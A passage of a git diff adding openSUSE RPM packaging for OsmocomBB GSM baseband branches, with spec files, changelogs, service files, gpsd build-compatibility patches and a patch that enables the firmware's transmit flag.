+@@ -102,7 +106,11 @@ int osmo_gpsd_cb(struct osmo_fd *bfd, unsigned int what)
+ /* data are valid */
+ if (gdata->set & LATLON_SET) {
+ g.valid = 1;
++#if GPSD_API_MAJOR_VERSION >= 9 && GPSD_API_MINOR_VERSION >= 0
++ g.gmt = gdata->fix.time.tv_sec;
++#else
+ g.gmt = gdata->fix.time;
++#endif
+ tm = localtime(&g.gmt);
+ diff = time(NULL) - g.gmt;
+ g.latitude = gdata->fix.latitude;
+--
+2.26.2
+
diff --git a/rpm-local/spec/osmocom-bb-jolly-testing/_service b/rpm-local/spec/osmocom-bb-jolly-testing/_service
new file mode 100644
index 0000000..455a850
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-testing/_service
@@ -0,0 +1,18 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmocom-bb</param>
+ <param name="revision">jolly/testing</param>
+ <param name="exclude">.git</param>
+ <param name="versionformat">git%ct.%h</param>
+ <param name="versionprefix">0.0.0</param>
+ <param name="package-meta">yes</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ </service>
+</services>
diff --git a/rpm-local/spec/osmocom-bb-jolly-testing/_servicedata b/rpm-local/spec/osmocom-bb-jolly-testing/_servicedata
new file mode 100644
index 0000000..ddd2292
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-testing/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmocom-bb</param>
+ <param name="changesrevision">9516a0e55f0c1d4a2f3bd875e97f460d7cb8d71a</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmocom-bb-jolly-testing/osmocom-bb-enable-tx.patch b/rpm-local/spec/osmocom-bb-jolly-testing/osmocom-bb-enable-tx.patch
new file mode 100644
index 0000000..85a49ab
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-testing/osmocom-bb-enable-tx.patch
@@ -0,0 +1,13 @@
+diff --git a/src/target/firmware/Makefile b/src/target/firmware/Makefile
+index 42f7ad4..b816061 100644
+--- a/src/target/firmware/Makefile
++++ b/src/target/firmware/Makefile
+@@ -127,7 +127,7 @@ INCLUDES=-Iinclude/ -I../../../include -I../../shared/libosmocore/include
+ #
+
+ # Uncomment this line if you want to enable Tx (Transmit) Support.
+-#CFLAGS += -DCONFIG_TX_ENABLE
++CFLAGS += -DCONFIG_TX_ENABLE
+
+ # Uncomment this line if you want to write to flash.
+ #CFLAGS += -DCONFIG_FLASH_WRITE
diff --git a/rpm-local/spec/osmocom-bb-jolly-testing/osmocom-bb-jolly-testing.changes b/rpm-local/spec/osmocom-bb-jolly-testing/osmocom-bb-jolly-testing.changes
new file mode 100644
index 0000000..3bee077
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-testing/osmocom-bb-jolly-testing.changes
@@ -0,0 +1,76 @@
+-------------------------------------------------------------------
+Tue Jul 9 19:30:31 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Remove patches:
+ * 0001-mobile-gsm480_ss.c-fix-build-apply-msgb_wrap_with_TL.patch
+ * 0001-Fix-build-with-latest-libosmocore.patch
+ Recent versions of libosmocore have workarounds for this issues
+
+-------------------------------------------------------------------
+Tue May 28 20:20:08 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Remove patch (fixed by upstream):
+ * 0001-Fix-no-return-in-nonvoid-function-in-bcch_scan.c.patch
+
+-------------------------------------------------------------------
+Thu Dec 27 22:54:16 UTC 2018 - mardnh@gmx.de
+
+- Add patch:
+ * 0001-layer23-Fix-build-against-gpsd-3.18.patch
+
+-------------------------------------------------------------------
+Tue Nov 20 19:47:06 UTC 2018 - mardnh@gmx.de
+
+- Add patch:
+ * 0001-Fix-build-with-latest-libosmocore.patch
+
+-------------------------------------------------------------------
+Mon Feb 19 16:24:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1519031227.9516a0e5:
+ * build: Fix typo in the CFLAGS-variable for libosmodsp
+ * transceiver: Fix RSP SETSLOT format
+- Remove patch:
+ * osmocom-bb-jolly-testing-fix-typo.patch (fixed upstream)
+ * 0002-transceiver-Fix-RSP-SETSLOT-format.patch (fixed upstream)
+
+-------------------------------------------------------------------
+Wed Feb 14 15:12:12 UTC 2018 - mardnh@gmx.de
+
+- Add patch:
+ * 0002-transceiver-Fix-RSP-SETSLOT-format.patch
+
+-------------------------------------------------------------------
+Sat Feb 10 12:08:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1419866780.39304b74:
+ * mobile/SS: Fixed bug in parsing of known supplemenary service codes
+- Add patch:
+ * osmocom-bb-jolly-testing-fix-typo.patch
+
+-------------------------------------------------------------------
+Thu Jan 5 19:08:45 UTC 2017 - mardnh@gmx.de
+
+- Build firmware only on intel plaforms (i586, x86_64)
+
+-------------------------------------------------------------------
+Fri Dec 19 21:36:29 UTC 2014 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1388168889.c1d7289:
+ + osmocon: embed chainloader
+ + fw: remove deprecated chainload app
+ + Fix: Allow TRX command with trailing '\0' and without
+ + fixup 687bc2318d18073d02756ef6ea5b96799f4b9aa7
+ + Add handover support to calypso BTS
+ + transceiver: Add option to set SCHED_RR and prority
+ + osmocon: Add option to set SCHED_RR and prority
+ + osmocon: Improve performance by handling several serial bytes at a time
+ + host/transceiver: Fix leak in AB processing codepath
+ + fw/calypso/dsp: Make dsp_extcode only load with trx app
+- specfile cleanup
+
+-------------------------------------------------------------------
+Mon Aug 26 19:36:23 UTC 2013 - mardnh@gmx.de
+
+- initial package written from scratch
+
diff --git a/rpm-local/spec/osmocom-bb-jolly-testing/osmocom-bb-jolly-testing.rpmlintrc b/rpm-local/spec/osmocom-bb-jolly-testing/osmocom-bb-jolly-testing.rpmlintrc
new file mode 100644
index 0000000..e38887a
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-testing/osmocom-bb-jolly-testing.rpmlintrc
@@ -0,0 +1 @@
+addFilter("suse-filelist-forbidden-opt")
diff --git a/rpm-local/spec/osmocom-bb-jolly-testing/osmocom-bb-jolly-testing.spec b/rpm-local/spec/osmocom-bb-jolly-testing/osmocom-bb-jolly-testing.spec
new file mode 100644
index 0000000..2b236ff
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-testing/osmocom-bb-jolly-testing.spec
@@ -0,0 +1,132 @@
+#
+# spec file for package osmocom-bb-jolly-testing
+#
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+%define build_firmware 1
+%define osmocom_bb_dir /opt/osmocom-bb-jolly-testing
+
+Name: osmocom-bb-jolly-testing
+Version: 0.0.0.git1519031227.9516a0e5
+Release: 0
+Summary: OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) (jolly/testing)
+License: GPL-2.0
+Group: Productivity/Telephony/Utilities
+Url: http://bb.osmocom.org/trac/
+Source: osmocom-bb-%{version}.tar.xz
+Patch2: osmocom-bb-enable-tx.patch
+Patch4: 0001-layer23-Fix-build-against-gpsd-3.18.patch
+Patch5: 0001-layer23-Fix-build-against-gpsd-3.20.patch
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: gcc-c++
+# SLES does not provide gpsd-devel, so build without gps-support on those systems
+%if 0%{?is_opensuse}
+BuildRequires: pkgconfig(libgps)
+%endif
+BuildRequires: pkgconfig(libosmocodec)
+BuildRequires: pkgconfig(libosmocore)
+BuildRequires: pkgconfig(libosmogsm)
+BuildRequires: pkgconfig(libosmovty)
+BuildRequires: pkgconfig(libosmodsp)
+BuildRequires: libtool
+BuildRequires: pkg-config
+BuildRequires: python
+BuildRequires: git-core
+%if 0%{?build_firmware}
+BuildRequires: arm-elf-binutils
+BuildRequires: arm-elf-gcc
+# HACK: Disable all post-build-checks
+BuildRequires: -post-build-checks
+%endif
+ExclusiveArch: %ix86 x86_64
+
+%description
+OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) including firmware.
+
+%package firmware
+Summary: OsmocomBB MS-side GSM Protocol stack - firmware (jolly/testing)
+Group: Productivity/Telephony/Utilities
+Requires: %{name} = %{version}
+
+%description firmware
+OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) including firmware.
+
+This subpackage provides firmware-images for various TI-calypto based
+phones.
+
+%prep
+%setup -q -n osmocom-bb-%{version}
+%patch2 -p1
+%patch4 -p1
+%patch5 -p1
+
+%build
+echo "%{version}" >src/host/osmocon/.tarball-version
+echo "%{version}" >src/host/gsmmap/.tarball-version
+echo "%{version}" >src/shared/libosmocore/.tarball-version
+
+%if 0%{?build_firmware}
+export PATH=$PATH:/opt/arm-elf-toolchain/bin
+make V=1 -C src/ %{?_smp_mflags} HOST_layer23_CONFARGS=--enable-transceiver
+%else
+make V=1 nofirmware -C src/ %{?_smp_mflags} HOST_layer23_CONFARGS=--enable-transceiver
+%endif
+
+
+%install
+mkdir -p %{buildroot}/%{osmocom_bb_dir}
+install -Dm 0755 src/host/osmocon/osmocon %{buildroot}/%{osmocom_bb_dir}/host/osmocon/osmocon
+install -Dm 0755 src/host/osmocon/osmoload %{buildroot}/%{osmocom_bb_dir}/host/osmocon/osmoload
+install -Dm 0755 src/host/layer23/src/misc/bcch_scan %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/bcch_scan
+install -Dm 0755 src/host/layer23/src/misc/cbch_sniff %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/cbch_sniff
+install -Dm 0755 src/host/layer23/src/misc/ccch_scan %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/ccch_scan
+install -Dm 0755 src/host/layer23/src/misc/cell_log %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/cell_log
+install -Dm 0755 src/host/layer23/src/misc/echo_test %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/echo_test
+install -Dm 0755 src/host/layer23/src/mobile/mobile %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/mobile/mobile
+install -Dm 0755 src/host/layer23/src/transceiver/transceiver %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/transceiver/transceiver
+install -Dm 0755 src/host/gsmmap/gsmmap %{buildroot}/%{osmocom_bb_dir}/host/gsmmap/gsmmap
+
+%if 0%{?build_firmware}
+### Firmware
+# Compal E86
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e86/
+cp src/target/firmware/board/compal_e86/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e86/
+# Compal E88
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e88/
+cp src/target/firmware/board/compal_e88/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e88/
+# Compal E99
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e99/
+cp src/target/firmware/board/compal_e99/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e99/
+# OpenMoko GTA0x
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/gta0x/
+cp src/target/firmware/board/gta0x/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/gta0x/
+# Pirelli DP-L10
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/pirelli_dpl10/
+cp src/target/firmware/board/pirelli_dpl10/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/pirelli_dpl10/
+# Sony Erricson J100
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/se_j100/
+cp src/target/firmware/board/se_j100/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/se_j100/
+%endif
+
+%files
+%{osmocom_bb_dir}/host
+
+%if 0%{?build_firmware}
+%files firmware
+%{osmocom_bb_dir}/target
+%endif
+
+%changelog
diff --git a/rpm-local/spec/osmocom-bb-jolly-ui/0001-layer23-Fix-build-against-gpsd-3.18.patch b/rpm-local/spec/osmocom-bb-jolly-ui/0001-layer23-Fix-build-against-gpsd-3.18.patch
new file mode 100644
index 0000000..d1a2ec4
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-ui/0001-layer23-Fix-build-against-gpsd-3.18.patch
@@ -0,0 +1,48 @@
+From 4f85fb30bc77e4bb4c3b9187a48a0a5a0a8cbb5a Mon Sep 17 00:00:00 2001
+From: Pau Espin Pedrol <pespin@sysmocom.de>
+Date: Mon, 5 Nov 2018 20:22:45 +0100
+Subject: [PATCH] layer23: Fix build against gpsd >= 3.18
+
+Change-Id: I0e97d3e8c3688064c959ea60ecef50cfbbc1bcd6
+---
+ src/host/layer23/src/common/gps.c | 15 +++++++++++++--
+ 1 file changed, 13 insertions(+), 2 deletions(-)
+
+diff --git a/src/host/layer23/src/common/gps.c b/src/host/layer23/src/common/gps.c
+index 3ec7377c..35ee4167 100644
+--- a/src/host/layer23/src/common/gps.c
++++ b/src/host/layer23/src/common/gps.c
+@@ -60,9 +60,20 @@ static struct gps_data_t* gdata = NULL;
+
+ #if GPSD_API_MAJOR_VERSION >= 5
+ static struct gps_data_t _gdata;
+-#define gps_poll gps_read
+ #endif
+
++static inline int compat_gps_read(struct gps_data_t *data)
++{
++/* API break in gpsd 6bba8b329fc7687b15863d30471d5af402467802 */
++#if GPSD_API_MAJOR_VERSION >= 7 && GPSD_API_MINOR_VERSION >= 0
++ return gps_read(data, NULL, 0);
++#elif GPSD_API_MAJOR_VERSION >= 5
++ return gps_read(data);
++#else
++ return gps_poll(data);
++#endif
++}
++
+ int osmo_gpsd_cb(struct osmo_fd *bfd, unsigned int what)
+ {
+ struct tm *tm;
+@@ -85,7 +96,7 @@ int osmo_gpsd_cb(struct osmo_fd *bfd, unsigned int what)
+ #endif
+
+ /* polling returned an error */
+- if (gps_poll(gdata))
++ if (compat_gps_read(gdata))
+ goto gps_not_ready;
+
+ /* data are valid */
+--
+2.16.4
+
diff --git a/rpm-local/spec/osmocom-bb-jolly-ui/0001-layer23-Fix-build-against-gpsd-3.20.patch b/rpm-local/spec/osmocom-bb-jolly-ui/0001-layer23-Fix-build-against-gpsd-3.20.patch
new file mode 100644
index 0000000..8ae9b9b
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-ui/0001-layer23-Fix-build-against-gpsd-3.20.patch
@@ -0,0 +1,45 @@
+From 5738e579b29b00b5f23c4762d15912a4cd391fd9 Mon Sep 17 00:00:00 2001
+From: Pau Espin Pedrol <pespin@sysmocom.de>
+Date: Mon, 13 Jan 2020 17:28:18 +0100
+Subject: [PATCH] layer23: Fix build against gpsd >= 3.20
+
+During 3.19->3.20 dev cycle, some fields were transformed from
+timestamp_t or double to timespec_t. See for instance gpsd.git
+f7c230fceb6d64483757f8c32afb98e6a2cb9413.
+
+Change-Id: Ie8ba19d030b6f46f2d8afc270a732ce8c26c438f
+---
+ src/host/layer23/src/common/gps.c | 8 ++++++++
+ 1 file changed, 8 insertions(+)
+
+diff --git a/src/host/layer23/src/common/gps.c b/src/host/layer23/src/common/gps.c
+index 35ee4167..807beed4 100644
+--- a/src/host/layer23/src/common/gps.c
++++ b/src/host/layer23/src/common/gps.c
+@@ -82,7 +82,11 @@ int osmo_gpsd_cb(struct osmo_fd *bfd, unsigned int what)
+ g.valid = 0;
+
+ /* gps is offline */
++#if GPSD_API_MAJOR_VERSION >= 9 && GPSD_API_MINOR_VERSION >= 0
++ if (gdata->online.tv_sec || gdata->online.tv_nsec)
++#else
+ if (gdata->online)
++#endif
+ goto gps_not_ready;
+
+ #if GPSD_API_MAJOR_VERSION >= 5
+@@ -102,7 +106,11 @@ int osmo_gpsd_cb(struct osmo_fd *bfd, unsigned int what)
+ /* data are valid */
+ if (gdata->set & LATLON_SET) {
+ g.valid = 1;
++#if GPSD_API_MAJOR_VERSION >= 9 && GPSD_API_MINOR_VERSION >= 0
++ g.gmt = gdata->fix.time.tv_sec;
++#else
+ g.gmt = gdata->fix.time;
++#endif
+ tm = localtime(&g.gmt);
+ diff = time(NULL) - g.gmt;
+ g.latitude = gdata->fix.latitude;
+--
+2.26.2
+
diff --git a/rpm-local/spec/osmocom-bb-jolly-ui/_service b/rpm-local/spec/osmocom-bb-jolly-ui/_service
new file mode 100644
index 0000000..8fb9b01
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-ui/_service
@@ -0,0 +1,18 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmocom-bb</param>
+ <param name="revision">jolly/ui</param>
+ <param name="exclude">.git</param>
+ <param name="versionformat">git%ct.%h</param>
+ <param name="versionprefix">0.0.0</param>
+ <param name="package-meta">yes</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ </service>
+</services>
diff --git a/rpm-local/spec/osmocom-bb-jolly-ui/_servicedata b/rpm-local/spec/osmocom-bb-jolly-ui/_servicedata
new file mode 100644
index 0000000..dc7759b
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-ui/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmocom-bb</param>
+ <param name="changesrevision">ad435fc269f16f85ba729b30e234f4d4def44316</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmocom-bb-jolly-ui/osmocom-bb-enable-tx.patch b/rpm-local/spec/osmocom-bb-jolly-ui/osmocom-bb-enable-tx.patch
new file mode 100644
index 0000000..85a49ab
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-ui/osmocom-bb-enable-tx.patch
@@ -0,0 +1,13 @@
+diff --git a/src/target/firmware/Makefile b/src/target/firmware/Makefile
+index 42f7ad4..b816061 100644
+--- a/src/target/firmware/Makefile
++++ b/src/target/firmware/Makefile
+@@ -127,7 +127,7 @@ INCLUDES=-Iinclude/ -I../../../include -I../../shared/libosmocore/include
+ #
+
+ # Uncomment this line if you want to enable Tx (Transmit) Support.
+-#CFLAGS += -DCONFIG_TX_ENABLE
++CFLAGS += -DCONFIG_TX_ENABLE
+
+ # Uncomment this line if you want to write to flash.
+ #CFLAGS += -DCONFIG_FLASH_WRITE
diff --git a/rpm-local/spec/osmocom-bb-jolly-ui/osmocom-bb-jolly-ui.changes b/rpm-local/spec/osmocom-bb-jolly-ui/osmocom-bb-jolly-ui.changes
new file mode 100644
index 0000000..c5ea65f
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-ui/osmocom-bb-jolly-ui.changes
@@ -0,0 +1,41 @@
+-------------------------------------------------------------------
+Tue Jul 9 19:36:07 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Remove patches:
+ * 0001-mobile-gsm480_ss.c-fix-build-apply-msgb_wrap_with_TL.patch
+ * 0001-Fix-build-with-latest-libosmocore.patch
+ Recent versions of libosmocore have workarounds for this issues
+
+-------------------------------------------------------------------
+Tue May 28 20:21:25 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Remove patch (fixed by upstream):
+ * 0001-Fix-no-return-in-nonvoid-function-in-bcch_scan.c.patch
+
+-------------------------------------------------------------------
+Thu Dec 27 22:55:15 UTC 2018 - mardnh@gmx.de
+
+- Add patch:
+ * 0001-layer23-Fix-build-against-gpsd-3.18.patch
+
+-------------------------------------------------------------------
+Tue Nov 20 19:48:40 UTC 2018 - mardnh@gmx.de
+
+- Add patch:
+ * 0001-Fix-build-with-latest-libosmocore.patch
+
+-------------------------------------------------------------------
+Sat Feb 10 14:03:00 UTC 2018 - mardnh@gmx.de
+
+- Specfile cleanup
+
+-------------------------------------------------------------------
+Thu Jan 5 19:04:03 UTC 2017 - mardnh@gmx.de
+
+- Build firmware only on intel plaforms (i586, x86_64)
+
+-------------------------------------------------------------------
+Tue Dec 29 10:04:52 UTC 2015 - mardnh@gmx.de
+
+- initial package, version 0.0.0.git1451032392.ad435fc
+
diff --git a/rpm-local/spec/osmocom-bb-jolly-ui/osmocom-bb-jolly-ui.rpmlintrc b/rpm-local/spec/osmocom-bb-jolly-ui/osmocom-bb-jolly-ui.rpmlintrc
new file mode 100644
index 0000000..e38887a
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-ui/osmocom-bb-jolly-ui.rpmlintrc
@@ -0,0 +1 @@
+addFilter("suse-filelist-forbidden-opt")
diff --git a/rpm-local/spec/osmocom-bb-jolly-ui/osmocom-bb-jolly-ui.spec b/rpm-local/spec/osmocom-bb-jolly-ui/osmocom-bb-jolly-ui.spec
new file mode 100644
index 0000000..7854947
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-ui/osmocom-bb-jolly-ui.spec
@@ -0,0 +1,131 @@
+#
+# spec file for package osmocom-bb-jolly-ui
+#
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+%define build_firmware 1
+%define osmocom_bb_dir /opt/osmocom-bb-jolly-ui
+
+Name: osmocom-bb-jolly-ui
+Version: 0.0.0.git1451032392.ad435fc
+Release: 0
+Summary: OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) (jolly/ui)
+License: GPL-2.0
+Group: Productivity/Telephony/Utilities
+Url: http://bb.osmocom.org/trac/
+Source: osmocom-bb-%{version}.tar.xz
+Patch2: osmocom-bb-enable-tx.patch
+Patch4: 0001-layer23-Fix-build-against-gpsd-3.18.patch
+Patch5: 0001-layer23-Fix-build-against-gpsd-3.20.patch
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: gcc-c++
+# SLES does not provide gpsd-devel, so build without gps-support on those systems
+%if 0%{?is_opensuse}
+BuildRequires: pkgconfig(libgps)
+%endif
+BuildRequires: pkgconfig(libosmocodec)
+BuildRequires: pkgconfig(libosmocore)
+BuildRequires: pkgconfig(libosmogsm)
+BuildRequires: pkgconfig(libosmovty)
+BuildRequires: pkgconfig(libosmodsp)
+BuildRequires: libtool
+BuildRequires: pkg-config
+BuildRequires: python
+# for git-version-gen
+BuildRequires: git-core
+%if 0%{?build_firmware}
+BuildRequires: arm-elf-binutils
+BuildRequires: arm-elf-gcc
+# HACK: Disable all post-build-checks
+BuildRequires: -post-build-checks
+%endif
+ExclusiveArch: %ix86 x86_64
+
+%description
+OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) including firmware.
+
+%package firmware
+Summary: OsmocomBB MS-side GSM Protocol stack - firmware (jolly/ui)
+Group: Productivity/Telephony/Utilities
+Requires: %{name} = %{version}
+
+%description firmware
+OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) including firmware.
+
+This subpackage provides firmware-images for various TI-calypto based
+phones.
+
+%prep
+%setup -q -n osmocom-bb-%{version}
+%patch2 -p1
+%patch4 -p1
+%patch5 -p1
+
+%build
+echo "%{version}" >src/host/osmocon/.tarball-version
+echo "%{version}" >src/host/gsmmap/.tarball-version
+echo "%{version}" >src/shared/libosmocore/.tarball-version
+
+%if 0%{?build_firmware}
+export PATH=$PATH:/opt/arm-elf-toolchain/bin
+make V=1 -C src/ %{?_smp_mflags}
+%else
+make V=1 nofirmware -C src/ %{?_smp_mflags}
+%endif
+
+%install
+mkdir -p %{buildroot}/%{osmocom_bb_dir}
+install -Dm 0755 src/host/osmocon/osmocon %{buildroot}/%{osmocom_bb_dir}/host/osmocon/osmocon
+install -Dm 0755 src/host/osmocon/osmoload %{buildroot}/%{osmocom_bb_dir}/host/osmocon/osmoload
+install -Dm 0755 src/host/layer23/src/misc/bcch_scan %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/bcch_scan
+install -Dm 0755 src/host/layer23/src/misc/cbch_sniff %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/cbch_sniff
+install -Dm 0755 src/host/layer23/src/misc/ccch_scan %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/ccch_scan
+install -Dm 0755 src/host/layer23/src/misc/cell_log %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/cell_log
+install -Dm 0755 src/host/layer23/src/misc/echo_test %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/echo_test
+install -Dm 0755 src/host/layer23/src/mobile/mobile %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/mobile/mobile
+install -Dm 0755 src/host/gsmmap/gsmmap %{buildroot}/%{osmocom_bb_dir}/host/gsmmap/gsmmap
+
+%if 0%{?build_firmware}
+### Firmware
+# Compal E86
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e86/
+cp src/target/firmware/board/compal_e86/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e86/
+# Compal E88
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e88/
+cp src/target/firmware/board/compal_e88/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e88/
+# Compal E99
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e99/
+cp src/target/firmware/board/compal_e99/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e99/
+# OpenMoko GTA0x
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/gta0x/
+cp src/target/firmware/board/gta0x/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/gta0x/
+# Pirelli DP-L10
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/pirelli_dpl10/
+cp src/target/firmware/board/pirelli_dpl10/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/pirelli_dpl10/
+# Sony Erricson J100
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/se_j100/
+cp src/target/firmware/board/se_j100/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/se_j100/
+%endif
+
+%files
+%{osmocom_bb_dir}/host
+
+%if 0%{?build_firmware}
+%files firmware
+%{osmocom_bb_dir}/target
+%endif
+
+%changelog
diff --git a/rpm-local/spec/osmocom-bb-snake/_service b/rpm-local/spec/osmocom-bb-snake/_service
new file mode 100644
index 0000000..b6d7b5d
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-snake/_service
@@ -0,0 +1,18 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">https://github.com/sdrfnord/osmocom-bb.git</param>
+ <param name="revision">sdrfnord/ui</param>
+ <param name="exclude">.git</param>
+ <param name="versionformat">git%ct.%h</param>
+ <param name="versionprefix">0.0.0</param>
+ <param name="package-meta">yes</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ </service>
+</services>
diff --git a/rpm-local/spec/osmocom-bb-snake/_servicedata b/rpm-local/spec/osmocom-bb-snake/_servicedata
new file mode 100644
index 0000000..6fad1ba
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-snake/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">https://github.com/sdrfnord/osmocom-bb.git</param>
+ <param name="changesrevision">c56ff0c9ba2c32cc6bf7cd86d9a47d1e60145183</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmocom-bb-snake/osmocom-bb-snake.changes b/rpm-local/spec/osmocom-bb-snake/osmocom-bb-snake.changes
new file mode 100644
index 0000000..7a19b9f
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-snake/osmocom-bb-snake.changes
@@ -0,0 +1,40 @@
+-------------------------------------------------------------------
+Tue Jul 9 19:41:49 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Remove patches:
+ * 0001-mobile-gsm480_ss.c-fix-build-apply-msgb_wrap_with_TL.patch
+ * 0001-Fix-build-with-latest-libosmocore.patch
+ Recent versions of libosmocore have workarounds for this issues
+
+-------------------------------------------------------------------
+Tue May 28 20:26:53 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Remove patch (fixed by upstream):
+ * 0001-Fix-no-return-in-nonvoid-function-in-bcch_scan.c.patch
+
+-------------------------------------------------------------------
+Tue Nov 20 18:38:39 UTC 2018 - mardnh@gmx.de
+
+- Add patch:
+ * 0001-Fix-build-with-latest-libosmocore.patch
+
+-------------------------------------------------------------------
+Sat Feb 10 14:40:18 UTC 2018 - mardnh@gmx.de
+
+- Specfile cleanup
+
+-------------------------------------------------------------------
+Thu Jan 5 19:04:55 UTC 2017 - mardnh@gmx.de
+
+- Build firmware only on intel plaforms (i586, x86_64)
+
+-------------------------------------------------------------------
